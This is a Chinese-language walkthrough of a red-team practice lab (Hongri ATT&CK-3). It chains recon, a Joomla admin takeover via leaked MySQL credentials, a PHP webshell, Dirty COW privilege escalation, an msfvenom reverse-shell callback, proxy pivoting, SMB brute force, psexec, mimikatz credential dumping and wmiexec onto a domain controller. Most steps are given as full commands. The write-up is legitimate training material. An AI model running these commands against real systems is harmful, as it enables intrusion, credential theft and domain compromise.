红日红队靶场ATT&CK-3
红日靶场ATT&CK-3
0x01环境搭建
五个靶机,纯黑盒环境测试,导入VM中请自行备份快照
centos为出网机,两个网卡,第一次允许时,需要重新获取桥接模式网卡ip,还要重启网络服务
service network restart

- 其他网络适配器均为VMnet2模式


0x02信息搜集
扫描是跟kali一个网段的机子用nmap和arp都行
arp-scan 10.110.122.0/24

做个端口探测搜集,发现开了网页端口80
nmap -p- -sV -sS -O -T5 10.110.122.117

是个PHP框架的网页,这里我因为是kali的浏览器没装插件,我查了一下这个CMS是Joomla框架管理系统,一般是PHP+MySQL

发现这个这里有个登录页面无法注入,就扫下有其他的接口没有

dirsearch -u http://10.110.122.117/
看的出这个网站接口开放的很多能扫出来

这里robots.txt都比较有价值的接口

挨个访问发现有以下对我们而言比较有用的接口
后台管理

能连接MySQL数据库的账号密码也有了,testuser/cvcvgjASD!@

那我们就直接先连一下,成功连接
mysql -h 10.110.122.117 -u testuser -p --ssl=0
cvcvgjASD!@

用cmd5没查出来

但是joomla官方文档有MySQL可以接受修改密码的方法

update am2zu_users set password = "433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT" where username="administrator";
成功修改了,我们就去登后台

0x03漏洞利用
administrator/admin成功进入,找文件上传

但发现可以直接改php源代码,于是直接写入一句话木马

连接蚁剑拿到webshell,路径别弄错,还有一个修改的路径是在下面那个模板

连完发现不能执行命令,我这里就通过写了个phpinfo();去看配置问题,发现是disable_functions开启了,禁用代码执行的函数

这里我搜了一下绕过disable_functions绕过的方式,搜这个关键词即可,比较适合我这里就是直接用蚁剑插件绕过,蚁剑插件如果无法绕过就用https://github.com/mm0r1/exploits这里面的exploit.php进行绕过
这里我kali的蚁剑没装插件,我就换了我的windows的蚁剑



再用蚁剑重新连接这个目录下的.antproxy.php文件,密码跟之前的一样

可以执行命令了

发现另外一个网卡192.168.93.120,且是个ubuntu系统

通过文件/temp/mysql/test.txt得到了一个账号密码wwwuser/wwwuser_123Aqx,我们直接试试连这个的22端口看是否能连上,如果用kali手动连接需要
加参数HostKeyAlgorithms=+ssh-rsa,因为是OpenSSH 5.3版本,我这里用的是Xftp直接连接,成功拿到了shell权限

0x04权限提升
通过双网卡的特征显示,这应该是个centos系统

由于不是root权限,我们要想办法提权——1、内核提权 2、sudo提权 3、suid提权 4、数据库提权
内核提权容易系统崩了,我们先试试其他提权能否使用
sudo提权用不了

suid提权也用不了
find / -user root -perm -4000 -print 2>/dev/null

这里用内核提权,脏牛提权(CVE-2016-5195),https://www.exploit-db.com/exploits/40839,将exp上传到/tmp/目录下,这样文件的权限高,利用成功,拿到root权限
gcc -pthread 40839.c -o dcow -lcrypt
su firefart


利用msf生成木马,上线到kali再进行下一步操作,这个shell利用xftp或者http服务下载都可以
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.110.122.116 LPORT=9999 -f elf > shell.elf
kali开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.110.122.116
set LPORT 9999
run

成功上线机器获取会话

添加完整shell会话环境
python -c 'import pty;pty.spawn("/bin/bash")'

0x05内网搜集
不知道另外一个网段有多少个主机,我们需要做内网穿透

run post/multi/manage/autoroute
run autoroute -p
background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run
jobs

/etc/proxychains4.conf记得改socks5,这里通了
proxychains4 curl -I http://192.168.93.100

探活主机,发现还要三台,分别为192.168.93.10(WIN-8GA56TNV3MV),192.168.93.20(WIN2008),192.168.93.30(WIN7)
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0/24
set THREADS 5
run

0x06横向移动
想办法横向和找域控,看看有什么漏洞可以利用先
proxychains4 nmap -sT -sV -Pn -T4 -p- 192.168.93.10
proxychains4 nmap -sT -sV -Pn -T4 -p- 192.168.93.20
proxychains4 nmap -sT -sV -Pn -T4 -p- 192.168.93.30
这里要我后面多扫了几次发现都是开了445端口,并且永恒之蓝这里是利用不了的,但是445还可以试试SMB端口口令爆破

利用msf模块smb爆破,这里我的字典太垃圾了,如果有在打这个靶场的,可以去找下强密码的字典,最后出来的都是强密码,域控的密码应该爆不出来
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.10 #后面20和30也一起上
set PASS_FILE /usr/share/worlds/rockyou.txt
set SMBUser administrator
run192.168.93.30
分别是192.168.93.20和192.168.93.30(administrator/123qwe!ASD),用账号密码对SMB进行攻击
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20 #192.168.93.30也行
run

接着迁移进程搜集下信息先,找域控IP和主机名,为192.168.93.10-WIN-8GA56TNV3MV
getuid
shell
systeminfo
ping test.org
net view



我们维持靠smb维持这个会话进程会不稳,切换到这个192.168.93.20的系统程序就行,mimikatz抓取凭证,用zerologon漏洞也可以抓密码,域控administrator/zxcASDqw123!!
ps
migrate [进程号]
load kiwi
help kiwi
creds_all


使用smb连域控,我这里有毛病连了好几遍连不上不知道什么问题,我看别的文章都可以连
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.10
set SMBUser administrator
set SMBPass zxcASDqw123!!
run

我这里就换了方法用impacket包里wmiexec.py连接域控,拿下
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'

后续可选择性进行权限维持和痕迹清理
0x07总结
总的流程还是外围打点getshell,方法都可以用,关键的点还是要充分利用搜集到的信息,快速的突破临界主机到内网,找内网的漏洞打,最好还是有一些强密码的字典也就是那种比较简单的各种组合密码,我一开始还想着rockyou.txt跑太慢了,我也不知道网上他们找的哪里的字典,在这卡了挺久的,mimikatz抓hash和NTLM还是很好用的,其实突破的方法不止一种,尽量用最快的方法吧





